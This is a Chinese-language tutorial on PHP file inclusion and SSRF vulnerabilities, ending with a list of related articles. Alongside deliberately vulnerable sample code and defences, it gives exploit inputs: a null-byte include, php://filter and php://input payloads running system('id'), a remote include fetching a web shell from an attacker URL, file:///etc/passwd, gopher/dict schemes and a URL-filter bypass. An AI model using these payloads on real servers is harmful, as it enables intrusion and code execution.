PHP安全漏洞之文件包含與SSRF攻擊全解析
前言
在Web安全領(lǐng)域,PHP應(yīng)用程序的安全問(wèn)題一直備受關(guān)注。本文將深入探討兩種常見(jiàn)的PHP安全漏洞:文件包含漏洞和服務(wù)器端請(qǐng)求偽造(SSRF),幫助開(kāi)發(fā)者理解漏洞原理、利用方式以及防御措施。
第一部分:文件包含漏洞詳解
什么是文件包含漏洞
文件包含漏洞是PHP應(yīng)用程序中常見(jiàn)的安全問(wèn)題,當(dāng)開(kāi)發(fā)者使用包含函數(shù)引入文件時(shí),如果傳入的文件名參數(shù)未經(jīng)嚴(yán)格校驗(yàn),攻擊者就可能利用這個(gè)漏洞讀取敏感文件甚至執(zhí)行惡意代碼。
危險(xiǎn)函數(shù)
PHP中有四個(gè)主要的文件包含函數(shù):
- include()
- include_once()
- require()
- require_once()
文件包含漏洞類(lèi)型
1. 本地文件包含(LFI)
利用方式:
- 直接讀取Flag文件
- 通過(guò)PHP偽協(xié)議讀取源代碼
- 寫(xiě)入PHP木馬獲取webshell
示例代碼:
<?php
$file = $_GET['file'];
if(file_exists('/home/www/'.$file.'.php')) {
include '/home/www/'.$file.'.php';
} else {
include '/home/www/'.'home.php';
}
?>
利用方法:
http://www.example.com/demo1.php?file=flag.php%00
2. PHP偽協(xié)議利用
常用偽協(xié)議:
file:// 協(xié)議:
http://www.example.com/index.php?file=file://D:/phpStudy/WWW/flag.txt
php://filter:
http://example.com/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
php://input:
POST /index.php?file=php://input HTTP/1.1
...
<?php system('id'); ?>
3. 遠(yuǎn)程文件包含(RFI)
必要條件:
- allow_url_fopen = On
- allow_url_include = On
示例代碼:
<?php $basePath = @$_GET['param']; require_once $basePath.'/action/m_share.php'; ?>
利用方法:
http://www.example.com/demo4.php?param=http://www.xx.com/attacker/PHPshell.txt?
防御措施
1.白名單驗(yàn)證
2.禁用危險(xiǎn)配置:
allow_url_fopen = Off allow_url_include = Off
3.設(shè)置open_basedir
4.嚴(yán)格校驗(yàn)用戶(hù)輸入
5.避免動(dòng)態(tài)包含
第二部分:SSRF漏洞深入解析
什么是SSRF?
SSRF(Server-Side Request Forgery)是一種由攻擊者構(gòu)造形成由服務(wù)端發(fā)起請(qǐng)求的安全漏洞。攻擊者可以利用此漏洞訪(fǎng)問(wèn)外網(wǎng)無(wú)法訪(fǎng)問(wèn)的內(nèi)部系統(tǒng)。
常見(jiàn)危險(xiǎn)函數(shù)
1.file_get_contents()
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename = '/images/'.rand().'img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
echo $img;
}
?>
2.fsockopen()
<?php
function GetFile($host, $port, $link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents = '';
while (!feof($fp)) {
$contents .= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>3.curl_exec()
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj, CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
SSRF繞過(guò)技巧
1. IP編碼繞過(guò)
使用xip.io域名:
10.0.0.1.xip.io
IP轉(zhuǎn)換為10進(jìn)制
2. 協(xié)議變換
Dict協(xié)議:
dict://192.168.1.1:8080/test:dict
Gopher協(xié)議:
gopher://192.168.1.1/gopher
File協(xié)議:
file:///etc/passwd
3. Gopher協(xié)議高級(jí)利用
Gopher協(xié)議可以多種服務(wù):
FTP
Telnet
Redis
Memcache
Redis攻擊示例:
<?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET["url"]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); ?>
4. filter_var()繞過(guò)
<?php
$url = $_GET['url'];
echo "Argument: ".$url. "\n";
if(filter_var($url, FILTER_VALIDATE_URL)) {
$r = parse_url($url);
var_dump($r);
if (preg_match('/skysec\.top$/', $r['host'])) {
exec("curl -v -s ".$r['host']."", $a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>
繞過(guò)方法:
http://example.com/test.php?url=0://192.168.1.1.com:8080;skysec.top:80/
5. 30x跳轉(zhuǎn)繞過(guò)
<?php
$url = $_GET['url'];
print $url;
curl($url);
function curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
}
防御SSRF的最佳實(shí)踐
限制協(xié)議:只允許HTTP和HTTPS
禁止訪(fǎng)問(wèn)內(nèi)網(wǎng)IP
設(shè)置URL白名單
禁用CURLOPT_FOLLOWLOCATION
使用DNS解析結(jié)果校驗(yàn)
過(guò)濾返回信息
結(jié)語(yǔ)
文件包含和SSRF漏洞都可能對(duì)Web應(yīng)用造成嚴(yán)重威脅。作為開(kāi)發(fā)者,理解這些漏洞的原理和利用方式,才能更好地防御它們。安全是一個(gè)持續(xù)的過(guò)程,需要開(kāi)發(fā)者保持警惕并不斷更新知識(shí)。
到此這篇關(guān)于PHP安全漏洞之文件包含與SSRF攻擊全解析的文章就介紹到這了,更多相關(guān)PHP安全漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Swoole實(shí)現(xiàn)異步投遞task任務(wù)案例詳解
這篇文章主要介紹了Swoole實(shí)現(xiàn)異步投遞task任務(wù)案例,結(jié)合實(shí)例形式詳細(xì)分析了Swoole異步投遞task任務(wù)的原理、實(shí)現(xiàn)方法及操作注意事項(xiàng),需要的朋友可以參考下2019-04-04
PHP中register_globals參數(shù)為OFF和ON的區(qū)別(register_globals 使用詳解)
register_globals是php.ini里的一個(gè)配置,這個(gè)配置影響到php如何接收傳遞過(guò)來(lái)的參數(shù),如果你的問(wèn)題是:為什么我的表單無(wú)法傳遞數(shù)據(jù)?為什么我的程序無(wú)法得到傳遞過(guò)來(lái)的變量?等等,那么你需要仔細(xì)的閱讀以下的內(nèi)容2012-02-02
Windows下安裝Memcached的步驟說(shuō)明
Windows 下安裝 Memcached 的方法,需要的朋友可以參考下。2010-04-04
php+AJAX傳送中文會(huì)導(dǎo)致亂碼的問(wèn)題的解決方法
關(guān)于在A(yíng)JAX中GET回的ResponseText中文亂碼的最簡(jiǎn)解決辦法2008-09-09
php解析xml提示Invalid byte 1 of 1-byte UTF-8 sequence錯(cuò)誤的處理方法
在利用php解析xml時(shí)提示Invalid byte 1 of 1-byte UTF-8 sequence錯(cuò)誤了,這個(gè)問(wèn)題我百度查實(shí)說(shuō)是編碼問(wèn)題,結(jié)果我把編碼處理一下果然KO了,下面我來(lái)分享一下解決辦法2013-11-11
PHPWind與Discuz截取字符函數(shù)substrs與cutstr性能比較
PHP性能優(yōu)化系列第四期實(shí)戰(zhàn)篇,如何使用PEAR Benchmark類(lèi)工具獲取函數(shù)執(zhí)行性能,這里以PHPWind與Discuz!兩個(gè)社區(qū)論壇的截取字符函數(shù)substrs與cutstr為例,分析兩個(gè)函數(shù)的執(zhí)行性能情況2011-12-12
淺談PHP設(shè)計(jì)模式之對(duì)象池模式Pool
對(duì)象池模式是一種提前準(zhǔn)備了一組已經(jīng)初始化了的對(duì)象『池』而不是按需創(chuàng)建或者銷(xiāo)毀的創(chuàng)建型設(shè)計(jì)模式。對(duì)象池客戶(hù)端會(huì)向?qū)ο蟪刂姓?qǐng)求一個(gè)對(duì)象,然后使用這個(gè)返回的對(duì)象執(zhí)行相關(guān)操作。當(dāng)客戶(hù)端使用完畢,它將把這個(gè)特定類(lèi)型的工廠(chǎng)對(duì)象返回給對(duì)象池,而不是銷(xiāo)毀掉這個(gè)對(duì)象。2021-05-05

